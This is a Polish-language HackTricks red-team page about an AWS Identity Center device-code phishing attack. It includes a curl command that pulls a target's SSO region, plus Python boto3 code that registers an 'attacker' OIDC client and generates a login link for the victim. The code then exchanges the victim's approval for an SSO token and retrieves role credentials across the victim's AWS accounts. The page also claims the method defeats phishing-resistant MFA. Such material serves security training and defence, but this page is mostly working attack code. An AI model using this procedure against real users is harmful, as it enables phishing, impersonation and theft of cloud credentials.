AWS - Identity Center & SSO Unauthenticated Enum

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Phishing kodu urządzenia AWS

Początkowo zaproponowane w tym wpisie na blogu, jest możliwe wysłanie linku do użytkownika korzystającego z AWS SSO, który jeśli użytkownik zaakceptuje, atakujący będzie mógł uzyskać token do podszywania się pod użytkownika i uzyskać dostęp do wszystkich ról, do których użytkownik ma dostęp w Centrum tożsamości.

Aby przeprowadzić ten atak, wymagane są:

  • Ofiara musi korzystać z Centrum tożsamości

  • Atakujący musi znać poddomenę używaną przez ofiarę <victimsub>.awsapps.com/start

Tylko z tymi informacjami atakujący będzie w stanie wysłać link do użytkownika, który jeśli zaakceptowany umożliwi atakującemu dostęp do konta użytkownika AWS.

Atak

  1. Znalezienie poddomeny

Pierwszym krokiem atakującego jest znalezienie poddomeny, którą firma ofiary używa w swoim Centrum tożsamości. Można to zrobić za pomocą OSINT lub zgadywania + BF, ponieważ większość firm będzie używać swojej nazwy lub jej wariacji tutaj.

Dzięki tym informacjom możliwe jest uzyskanie regionu, w którym zostało skonfigurowane Centrum tożsamości:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Wygeneruj link dla ofiary i wyślij go

Uruchom poniższy kod, aby wygenerować link logowania AWS SSO, dzięki któremu ofiara będzie mogła się uwierzytelnić. W celu demonstracji uruchom ten kod w konsoli Pythona i nie zamykaj jej, ponieważ później będziesz potrzebować pewnych obiektów do uzyskania tokena:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
  1. Poczekaj, aż ofiara zaakceptuje

Jeśli ofiara już jest zalogowana w AWS, wystarczy, że zaakceptuje udzielenie uprawnień, jeśli nie, będzie musiała zalogować się, a następnie zaakceptować udzielenie uprawnień. Tak teraz wygląda okno dialogowe:

  1. Uzyskaj token dostępu SSO

Jeśli ofiara zaakceptowała okno dialogowe, uruchom ten kod, aby wygenerować token dostępu SSO podając się za użytkownika:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

Token SSO jest ważny przez 8 godzin.

  1. Podszyj się pod użytkownika

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing niemożliwego do wyłudzenia MFA

To zabawne, że poprzedni atak działa nawet jeśli używane jest "niemożliwe do wyłudzenia MFA" (webAuth). Dzieje się tak, ponieważ poprzedni przepływ pracy nigdy nie opuszcza używanej domeny OAuth. W przeciwieństwie do innych ataków phishingowych, gdzie użytkownik musi podmienić domenę logowania, w przypadku przepływu kodu urządzenia przygotowany jest tak, że kod jest znany przez urządzenie, a użytkownik może zalogować się nawet na innym urządzeniu. Jeśli zaakceptowany zostanie monit, urządzenie, znając początkowy kod, będzie w stanie pobrać dane uwierzytelniające dla użytkownika.

Aby uzyskać więcej informacji, sprawdź ten post.

Automatyczne narzędzia

Odnośniki

Zdobądź wiedzę na temat hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated